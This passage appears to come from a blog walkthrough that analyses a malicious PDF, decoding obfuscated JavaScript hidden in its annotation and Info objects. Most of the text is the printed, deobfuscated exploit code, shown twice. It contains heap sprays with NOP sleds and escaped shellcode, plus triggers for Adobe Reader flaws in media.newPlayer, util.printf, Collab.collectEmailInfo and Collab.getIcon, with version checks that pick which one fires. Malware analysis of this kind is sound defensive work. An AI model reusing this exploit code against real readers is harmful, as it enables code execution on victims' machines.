src="https://cdn-images-1.medium.com/max/1024/1*njJpJ_OxMo62yIN5Wum_Rg.png" /></figure><h3>Annot 21</h3><p>There is an embedded Image within Annot 21. So, we will focus on Annot 7 and Annot 8.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3teZ9ueHFeFYXoQQItuzqA.png" /></figure><h3>Locating The Info and Title</h3><p>We have previously observed that the JS code is building locations for Info and Title. So using the info command we can locate the object location of Info which in our case is 11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7o7XqKaAvor2hGnssRnjAQ.png" /></figure><p>Now we need to find what is stored in Object 11. Here we can observe that it is pointing to Object 10 which is of Title.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*r9-GkMAA9eV3tGpnLY87cA.png" /></figure><p>Locating the Object 11 provides us with the obfuscated code which is being split and replaced in the first level of JS code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wS6oq-xdm5Kwv0xNlYuyHg.png" /></figure><h3>Decoding The Stage 1</h3><p>From the JS code we have observed that (<strong>U_155bf62c9aU_7917ab39</strong>) was being split. Replacing it with nothing gives us Hex values, decoding which we can finally have a stage 2 JS code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*81vjsatDtD4g2Ra_qtE8Sw.png" /></figure><p>Now all we need is to decode the Hex values into ASCII. We can use online tools as well as a python script as well.</p><p>Here we can observe that, there is another JS code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7L-zX1e5pxcL4aJtkNQdQ.png" /></figure><p>Beautifying the code helps us understand the code in a better way. Here we can observe that this JS code is basically decoding the other two ecoded payloads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8hUlVwevo1-8A_se7sJxYQ.png" /></figure><p>Let’s decode them one by one. At first we will decode the obfuscated code from <strong>Object 9</strong>. Replacing the (<strong>X_17844743X_170987743</strong>) with <strong>%</strong> provides us with the following.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWDFYgz7aOoqWSMY6MPTFQ.png" /></figure><p>Removing the % and decoding the hex values provides us with another code which are the actual exploit codes/shell codes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DREh39fwa-EP3Z6-Gtq3EQ.png" /></figure><pre>var w = new String();<br>var c = app;</pre><pre>function s(yarsp, len) {<br>        while (yarsp.length * 2 &lt; len) {<br>                yarsp += yarsp;<br>                this.x = false;<br>        }<br>        var eI = 37715;<br>        yarsp = yarsp.substring(0, len / 2);<br>        return yarsp;<br>        var yE = 18340;<br>}<br>var m = new String(&quot;&quot;);</pre><pre>function cG() {<br>            var chunk_size, payload, nopsled;<br>            <br>            chunk_size = 0x8000;<br>                        // calc.exe payload<br>                        payload = unescape(&quot;%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90&quot;);<br>                        nopsled = unescape(&quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&quot;);<br>            while (nopsled.length &lt; chunk_size)<br>                nopsled += nopsled;<br>            nopsled_len = chunk_size - (payload.length + 20);        <br>            nopsled = nopsled.substring(0, nopsled_len);<br>            heap_chunks = new Array();<br>            for (var i = 0 ; i &lt; 2500 ; i++)<br>                heap_chunks[i] = nopsled + payload;</pre><pre>util.printd(&quot;1.000000000.000000000.1337 : 3.13.37&quot;, new Date());<br>            try {<br>                media.newPlayer(null);<br>            } catch(e) {}<br>            util.printd(&quot;1.000000000.000000000.1337 : 3.13.37&quot;, new Date());<br>}<br>var iF = function() {};</pre><pre>function cN() {<br>        var o = &quot;o&quot;;<br>                // freecell.exe payload<br>        var payload = unescape(&quot;%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d&quot;);<br>                this.dN = &quot;&quot;;<br>        var nop = unescape(&quot;%u0A0A%u0A0A%u0A0A%u0A0A&quot;);<br>        var hW = new String();<br>        var heapblock = nop + payload;<br>        this.qA = &quot;qA&quot;;<br>        var bigblock = unescape(&quot;%u0A0A%u0A0A&quot;);<br>        this.alphaY = 12267;<br>        var headersize = 20;<br>        var spray = headersize + heapblock.length;<br>        var jZ = &#39;&#39;;<br>        var jY = &quot;&quot;;<br>        while (bigblock.length &lt; spray) {<br>                this.r = &quot;r&quot;;<br>                bigblock += bigblock; <br>                var edit = &quot;edit&quot;;<br>        }<br>        this.xGoogle = &#39;&#39;;<br>        this.vY = false;<br>        var fillblock = bigblock.substring(0, spray);<br>        var iP = function() {};<br>        var block = bigblock.substring(0, bigblock.length - spray);<br>        var googleD = false;<br>        this.fUEdit = &quot;&quot;;<br>        while (block.length + spray &lt; 0x40000) {<br>                block = block + block + fillblock;<br>                this.bJ = &#39;&#39;;<br>        }<br>        var googleQ = &#39;&#39;;<br>        this.nW = &#39;&#39;;<br>        var mem_array = new Array();  <br>        var cH = new String();<br>        var nVO = new String(&quot;&quot;);<br>        for (var i = 0; i &lt; 1400; i++) {<br>                mem_array[i] = block + heapblock;<br>                var sQ = new String(&quot;&quot;);<br>        }<br>        var wC = &#39;&#39;;<br>        var num = 1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888</pre><p>Finally we will decode the <strong>Object 7</strong> data i.e. by replacing (<strong>89af50d</strong>) with a space and using the same python script to decode the hex values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPuG-tPQqeonviyQqJ3wgQ.png" /></figure><pre>;<br>        this.bC = 3699;<br>        util.printf(&quot;%45000f&quot;, num);  <br>}<br>var eQ = &quot;&quot;;</pre><pre>function gX() {<br>        var basicZ = &#39;&#39;;<br>                // notepad.exe payload<br>        var shellcode = unescape(&quot;%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae&quot;);<br>                var mem_array = new Array();  <br>        this.googleBasicR = &quot;&quot;;<br>        var cc = 0x0c0c0c0c;<br>        var addr = 0x400000;<br>        var sc_len = shellcode.length * 2;<br>        var len = addr - (sc_len + 0x38);<br>        var yarsp = unescape(&quot;%u9090%u9090&quot;);<br>        this.eS = &quot;eS&quot;;<br>        yarsp = s(yarsp, len);<br>        var count2 = (cc - 0x400000) / addr;<br>        this.rF = false;<br>        this.p = &quot;p&quot;;<br>        for (var count = 0; count &lt; count2; count++) {<br>                mem_array[count] = yarsp + shellcode;<br>        }<br>        var bUpdate = new String(&quot;&quot;); <br>        var overflow = unescape(&quot;%u0c0c%u0c0c&quot;);<br>        var cP = function() {};<br>        this.gD = &quot;&quot;;<br>        while (overflow.length &lt; 44952) {<br>                this.tO = &quot;&quot;;<br>                overflow += overflow; <br>        }<br>        var adobeD = new String();<br>        this.collabStore = Collab.collectEmailInfo({<br>                subj: &quot;&quot;,<br>                msg: overflow<br>        });<br>}<br>function updateE() {<br>        var xI = new String(&quot;&quot;);<br>        if (c.doc.Collab.getIcon) {   <br>                var arry = new Array();<br>                                // cmd.exe payload<br>                var vvpethya = unescape(&quot;%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a&quot;);<br>                                var updateX = 39796;  <br>                var hWq500CN = vvpethya.length * 2;<br>                var len = 0x400000 - (hWq500CN + 0x38);<br>                var zAdobe = &quot;&quot;;<br>                var yarsp = unescape(&quot;%u9090%u9090&quot;);<br>                var dU = &quot;&quot;;<br>                yarsp = s(yarsp, len);<br>                this.zAdobeK = &quot;&quot;;<br>                var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;<br>                var aG = new Date();  <br>                for (var vqcQD96y = 0; vqcQD96y &lt; p5AjK65f; vqcQD96y++) {<br>                        var lBasic = &quot;&quot;;<br>                        arry[vqcQD96y] = yarsp + vvpethya;<br>                        var u = &quot;&quot;;   <br>                }<br>                var iAlpha = function() {};<br>                var tUMhNbGw = unescape(&quot;%09&quot;);<br>                while (tUMhNbGw.length &lt; 0x4000) {<br>                        this.gN = false;<br>                        tUMhNbGw += tUMhNbGw;<br>                }<br>                var hV = new String(&quot;&quot;);<br>                var nVE = function() {};<br>                tUMhNbGw = &quot;N.&quot; + tUMhNbGw;<br>                c.doc.Collab.getIcon(tUMhNbGw);<br>        }<br>        this.wZ = 44811;<br>}<br>var hO = new String(&quot;&quot;);</pre><pre>function nO() {<br>        this.iR = false;<br>        var version = c.viewerVersion.toString();<br>        var zH = &#39;&#39;;<br>        version = version.replace(/D/g, &#39;&#39;);<br>        var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));<br>        if ((varsion_array[0] == 8) &amp;&amp; (varsion_array[1] == 0) || (varsion_array[1] == 1 &amp;&amp;<br>varsion_array[2] &lt; 3)) {<br>                cN();<br>        }<br>        this.wN = &quot;&quot;;<br>        var aQ = new String(&quot;&quot;);<br>        if ((varsion_array[0] &lt; 8) || (varsion_array[0] == 8 &amp;&amp; varsion_array[1] &lt; 2 &amp;&amp; varsion_array[2] &lt;<br>2)) {<br>                gX();<br>        }<br>        var vEdit = &quot;&quot;;<br>        if ((varsion_array[0] &lt; 9) || (varsion_array[0] == 9 &amp;&amp; varsion_array[1] &lt; 1)) {<br>                updateE();<br>        }<br>        var eH = function() {};<br>        var eSJ = new Function();<br>        cG();<br>        var vUpdate = false;<br>}<br>var basicU = new Date();<br>this.updateO = false;<br>nO();<br>var mUpdate = function() {};</pre><p>So, the payloads were split up and were placed at different locations. The final JS code which will be executed is as below.</p><pre>var w = new String();<br>var c = app;</pre><pre>function s(yarsp, len) {<br>        while (yarsp.length * 2 &lt; len) {<br>                yarsp += yarsp;<br>                this.x = false;<br>        }<br>        var eI = 37715;<br>        yarsp = yarsp.substring(0, len / 2);<br>        return yarsp;<br>        var yE = 18340;<br>}<br>var m = new String(&quot;&quot;);</pre><pre>function cG() {<br>            var chunk_size, payload, nopsled;<br>            <br>            chunk_size = 0x8000;<br>                        // calc.exe payload<br>                        payload = unescape(&quot;%uabba%ua906%u29f1%ud9c9%ud9c9%u2474%ub1f4%u5d64%uc583%u3104%u0f55%u5503%ue20f%ued5e%uabb9%uc1ea%u2d70%u1953%u3282%u6897%ud01d%u872d%ufd18%ua73a%u02dc%u14cc%u64ba%u66b5%uae41%uf16c%u5623%udb7c%u7bc1%u5e69%u69dd%uf0b0%ucf0c%u1950%udd95%u5ab9%u7b37%u772b%uc55f%u1531%ue18d%u70c8%uc2c5%u4c1c%u7b34%u2f3a%ue82b%u27c9%u848b%ua512%u999d%u2faa%u84c0%u2bee%u768c%u0bc8%u237e%u4cc6%u51c2%u3abc%ufc45%u1118%uffe5%uf48a%udf14%u6c2f%u8742%u0a57%u6fe9%ub5b5%uca94%ua6ab%u84ba%u77d1%u4a2c%u74ac%uabcf%ub25f%ub269%u5e06%u51d5%u90f3%u978f%uec66%u6942%u6a9b%u18a2%u12ff%u42ba%u7be5%ubb37%u9dc6%u5de0%ufe14%uf2f7%uc6fd%u7812%uda44%u7167%u110f%ubb01%uf81a%ud953%ufc21%u22db%u20f7%u46b9%u27e6%ue127%u8e42%udb91%ufe58%ubaeb%u6492%u07fe%uade3%u4998%uf89a%u9803%u5131%u1192%ufcd5%u3ac9%u352d%u71de%u81cb%u4522%u6d21%uecd2%ucb1c%u4e6d%u8df8%u6eeb%ubff8%u653d%ubaf6%u8766%ud10b%u926b%ubf19%u9f4a%u0a30%u8a92%u7727%u96a7%u6347%ud3b4%u824a%uc4ae%uf24c%uf5ff%ud99b%u0ae1%u7b99%u133d%u91ad%u2573%u96a6%u3b74%ub2a1%u3c73%ue92c%u468c%uea25%u5986%u9261%u71b5%u5164%u71b3%u561f%uabf7%u91c2%ua3e6%uab09%ub60f%ua23c%ub92f%ub74b%ua308%u3cdb%ua4dd%u9221%u2732%u8339%u892b%u34a9%ub0da%ua550%u4f47%u568c%uc8fa%uc5fe%u3983%u7a98%u2306%uf60a%uc88f%u9b8d%u6e27%u305d%u1edd%uadfa%ub232%u4265%u2d3a%uff17%u83f5%u87b2%u5b90&quot;);<br>                        nopsled = unescape(&quot;%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090&quot;);<br>            while (nopsled.length &lt; chunk_size)<br>                nopsled += nopsled;<br>            nopsled_len = chunk_size - (payload.length + 20);        <br>            nopsled = nopsled.substring(0, nopsled_len);<br>            heap_chunks = new Array();<br>            for (var i = 0 ; i &lt; 2500 ; i++)<br>                heap_chunks[i] = nopsled + payload;</pre><pre>util.printd(&quot;1.000000000.000000000.1337 : 3.13.37&quot;, new Date());<br>            try {<br>                media.newPlayer(null);<br>            } catch(e) {}<br>            util.printd(&quot;1.000000000.000000000.1337 : 3.13.37&quot;, new Date());<br>}<br>var iF = function() {};</pre><pre>function cN() {<br>        var o = &quot;o&quot;;<br>                // freecell.exe payload<br>        var payload = unescape(&quot;%uc929%u65b1%ud7db%u74d9%uf424%u83b8%u3830%u5b84%u4331%u0313%u1343%u6883%udacc%u8571%u413d%u6a30%u13f7%ub07d%u5c06%uc249%ube91%u3948%ud6a4%u4246%ud958%uf0e9%ubf3e%ucb93%uf8bc%u520a%u60a7%ubd5e%u804d%ub8b6%ub75a%u5391%uf6b0%ub933%uea10%ubade%u91ba%ud64b%u1fdb%ub411%ub731%u92ab%uf842%u2a7a%ua0b8%uc819%uc7af%u9bee%u7d10%u4e2e%u4201%u8a96%ude7c%ud1cb%u20f0%ue235%uf4e3%u33a8%u6fbe%u8396%u15b9%ub97f%ud56a%u2c92%uf698%ud416%u50c7%u7361%u386d%u1a83%ue308%u7fb1%u7a3f%u20ac%u90a8%u2d99%u544b%u1868%ucced%u8012%u7b51%u7bef%u4d0b%u4095%u10c6%udea5%ue327%u47ed%u9d3e%u28f4%u51cb%ucfd7%u746c%u8c04%u286b%u95cd%u4396%u0b57%u58e2%ue11e%u508a%uab14%uf7cf%uab12%ufb47%u96c3%u9932%ud41d%u3bda%u7d77%uf214%ub242%u636f%u299d%u2962%u7be8%u7fe4%ub283%ub18f%uee39%u7b09%ub7de%ue345%u8c16%u2e59%u59c0%u6fa5%u263f%uda5e%u8219%ua5d1%u54fc%u0474%u75fc%u53b1%u7f0b%u599a%u9409%u48e7%uf318%u71c6%uc930%u6317%u3126%ua923%u2249%ua830%u4247%uad22%u3340%ude7b%u9f86%ue365%u8693%ufdba%u5594%u0f8f%u59bf%u0de8%u74d9%u16ff%ua327%u1cf0%ub333%u021a%uda1c%u2831%u2868%u583f%u1c0a%u720b%u6af0%u8a62%u64fe%u8883%u7ecc%u83ab%u823a%ufd8c%u0ead%u8e59%uc117%u0c8e%u7204%ufeb6%ue3bc%u9a56%u9545%u10c3%u0698%ube7e%ub5ca%u6f07%u2a75%u0a8a%uc717%ub603%u44b8%u59bc%ue62b%uf459%u93d4%u658e%u377a%u14a6%ua20e%ue517%u49c0%u6cd0%u419d&quot;);<br>                this.dN = &quot;&quot;;<br>        var nop = unescape(&quot;%u0A0A%u0A0A%u0A0A%u0A0A&quot;);<br>        var hW = new String();<br>        var heapblock = nop + payload;<br>        this.qA = &quot;qA&quot;;<br>        var bigblock = unescape(&quot;%u0A0A%u0A0A&quot;);<br>        this.alphaY = 12267;<br>        var headersize = 20;<br>        var spray = headersize + heapblock.length;<br>        var jZ = &#39;&#39;;<br>        var jY = &quot;&quot;;<br>        while (bigblock.length &lt; spray) {<br>                this.r = &quot;r&quot;;<br>                bigblock += bigblock; <br>                var edit = &quot;edit&quot;;<br>        }<br>        this.xGoogle = &#39;&#39;;<br>        this.vY = false;<br>        var fillblock = bigblock.substring(0, spray);<br>        var iP = function() {};<br>        var block = bigblock.substring(0, bigblock.length - spray);<br>        var googleD = false;<br>        this.fUEdit = &quot;&quot;;<br>        while (block.length + spray &lt; 0x40000) {<br>                block = block + block + fillblock;<br>                this.bJ = &#39;&#39;;<br>        }<br>        var googleQ = &#39;&#39;;<br>        this.nW = &#39;&#39;;<br>        var mem_array = new Array();  <br>        var cH = new String();<br>        var nVO = new String(&quot;&quot;);<br>        for (var i = 0; i &lt; 1400; i++) {<br>                mem_array[i] = block + heapblock;<br>                var sQ = new String(&quot;&quot;);<br>        }<br>        var wC = &#39;&#39;;<br>        var num = 1299999999999999999988888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;<br>        this.bC = 3699;<br>        util.printf(&quot;%45000f&quot;, num);  <br>}<br>var eQ = &quot;&quot;;</pre><pre>function gX() {<br>        var basicZ = &#39;&#39;;<br>                // notepad.exe payload<br>        var shellcode = unescape(&quot;%uc931%u64b1%ub6bf%u558b%ud976%ud9cd%u2474%u58f4%ue883%u31fc%u0d78%u7803%ue20d%u6043%u2c45%u44e1%ub6af%u964c%ub72e%ued9a%u55a9%u1a18%u71cc%u2237%u7e30%u91b7%u1856%ue9ae%u2394%u7479%ucdff%u5e6b%ufc95%ue562%u12a2%u77ad%u53d8%u925f%u4178%ue5b2%ufc62%uf826%ub883%u9e2c%u6c59%uf5dd%u5d2a%uc113%uc7c1%ub031%u6cf7%ua2b6%u1838%u2007%u1d29%ua0b1%u0314%uaee1%ufbd8%u96df%ua80b%uc7cd%uca91%ubfab%u7091%uea13%u7a32%u7bb1%u5ba0%ue130%u3b9f%u8d42%ue4ba%u28a0%u4e20%u29d6%u0147%uf2cc%ucff0%uffb9%u2f62%uc948%u2904%ud333%ude69%u2b88%u10f3%u776b%uedee%uef80%u9fcf%u89c2%uc649%uf510%u36e3%u10fb%ud153%u40ef%u4d82%u41f6%ue4ae%u5cb1%uf58a%uaa78%u3472%u750f%u52e6%u712a%u9faf%u5fea%uc24a%u9cf3%u64f2%u0559%u5ecc%u7957%u0607%ue3a9%u828a%u26fc%uc2cc%u7f97%u1577%u2a0a%u9c21%u73c8%ube3e%u4838%uf571%u04de%uca4d%ue02c%u6126%u4c09%ucab8%u16cf%ueb5c%u3af3%uf869%u3ffd%u02b2%u2bfc%u17bf%u3214%u149e%u8f05%u0fff%uec38%u0df4%ue632%u5709%u0f5f%u481a%u6947%u7913%u5680%u864d%ufe94%u9652%uec98%ua8a6%u13b3%ub6c0%u39da%ub1c7%u1421%ub9d8%u6f32%udef2%u091c%uf4e9%ude69%ufd04%ud308%ud722%u1af7%u2f5a%u15f2%u2d5b%u2f31%u3e43%u2c3c%u26a4%ub9d6%u2921%u6d1c%uabe5%u1e0c%u059e%u8fa4%u3f0e%u3e4d%ucbaa%ud183%u5346%u40f5%ub4de%uf46f%uae52%u7901%u53fa%u1e82%uf294%u8d50%u9b01%u28cf%u50e5%ud262%ue195%u661d%u2003%ufeb8%ubcae&quot;);<br>                var mem_array = new Array();  <br>        this.googleBasicR = &quot;&quot;;<br>        var cc = 0x0c0c0c0c;<br>        var addr = 0x400000;<br>        var sc_len = shellcode.length * 2;<br>        var len = addr - (sc_len + 0x38);<br>        var yarsp = unescape(&quot;%u9090%u9090&quot;);<br>        this.eS = &quot;eS&quot;;<br>        yarsp = s(yarsp, len);<br>        var count2 = (cc - 0x400000) / addr;<br>        this.rF = false;<br>        this.p = &quot;p&quot;;<br>        for (var count = 0; count &lt; count2; count++) {<br>                mem_array[count] = yarsp + shellcode;<br>        }<br>        var bUpdate = new String(&quot;&quot;); <br>        var overflow = unescape(&quot;%u0c0c%u0c0c&quot;);<br>        var cP = function() {};<br>        this.gD = &quot;&quot;;<br>        while (overflow.length &lt; 44952) {<br>                this.tO = &quot;&quot;;<br>                overflow += overflow; <br>        }<br>        var adobeD = new String();<br>        this.collabStore = Collab.collectEmailInfo({<br>                subj: &quot;&quot;,<br>                msg: overflow<br>        });<br>}<br>function updateE() {<br>        var xI = new String(&quot;&quot;);<br>        if (c.doc.Collab.getIcon) {   <br>                var arry = new Array();<br>                                // cmd.exe payload<br>                var vvpethya = unescape(&quot;%ud3b8%u7458%ud901%u2bcb%ud9c9%u2474%ub1f4%u5a65%u4231%u0312%u1242%u3983%u96a4%u56f4%u0d45%u9bbd%ud7af%ue7f8%u982e%u1dcf%u7aa8%ucad5%u92cf%uf3c1%u9d2f%u4766%ufb49%u941e%uc494%u8389%uacfe%u6ad8%udd95%u0935%uf3a2%u801c%ub2d9%u488c%u2678%u0b5c%udd62%u01f4%u5b82%u4792%u4b5e%u2d2e%ubc2a%uf9ff%ue4c1%u9b9a%u83f7%ucc69%u3938%u1fb1%u7e29%uc50b%ue214%u8248%udcd8%ub3b7%u890b%ue425%uab91%u5210%u5192%uc8fc%u9932%u9def%ubaa1%u0795%u1c9f%uacee%uc5ba%u4b1c%uaf20%u0832%u3e47%u9129%uacf0%ude04%u1062%ue9e7%u0804%uf391%ubf69%ucc69%u71f0%u1108%uccee%u0d20%ubecf%ub462%ud949%u9971%u15e3%u3c5a%ub053%u5d89%u6c82%u6648%u07ae%u7ad2%u148a%ub09d%u1572%u1aab%u33e6%u5a91%ub8af%u4744%udd4a%u8b98%u47f2%u2af0%ub1cc%u03cf%u2707%ufe1e%ued8a%uca57%u23cd%u030e%u7277%u39bc%ubf21%u6423%udf3e%u5d93%uea71%u2a42%u2b4d%ud7b8%u0626%u7de4%ue9b8%ue771%uc85c%u0a82%u1f69%u2e8c%u1db2%u258c%u34bf%u2085%u359e%u98b7%u2cff%ue0a5%u6cf4%uf3c6%u7409%uf5ca%u6919%u60cd%u9a13%u4e19%ua74d%uf71c%ub952%uea11%ucba6%u0839%ud1c0%u2527%ud2c7%u10a5%ud8d8%u62bd%ufff2%u0b9a%uebe9%udfee%u1c04%ud389%u3622%u1d77%u4e5a%u177d%u4c5b%u21b3%u5f43%u31b9%u39a4%ubd2a%u4a21%u1291%uc8e5%u0389%u229e%ub43a%u5e0e%u24c3%ud4aa%ud71d%u7246%u4a4c%u53de%ufbf6%uc952%u7098%u72fa%u153a%u1594%ub5a8%ub801%u2057%u29e5%uc6f9%ud08e%u738b%u275f%u1e42%u22e7%u411a&quot;);<br>                                var updateX = 39796;  <br>                var hWq500CN = vvpethya.length * 2;<br>                var len = 0x400000 - (hWq500CN + 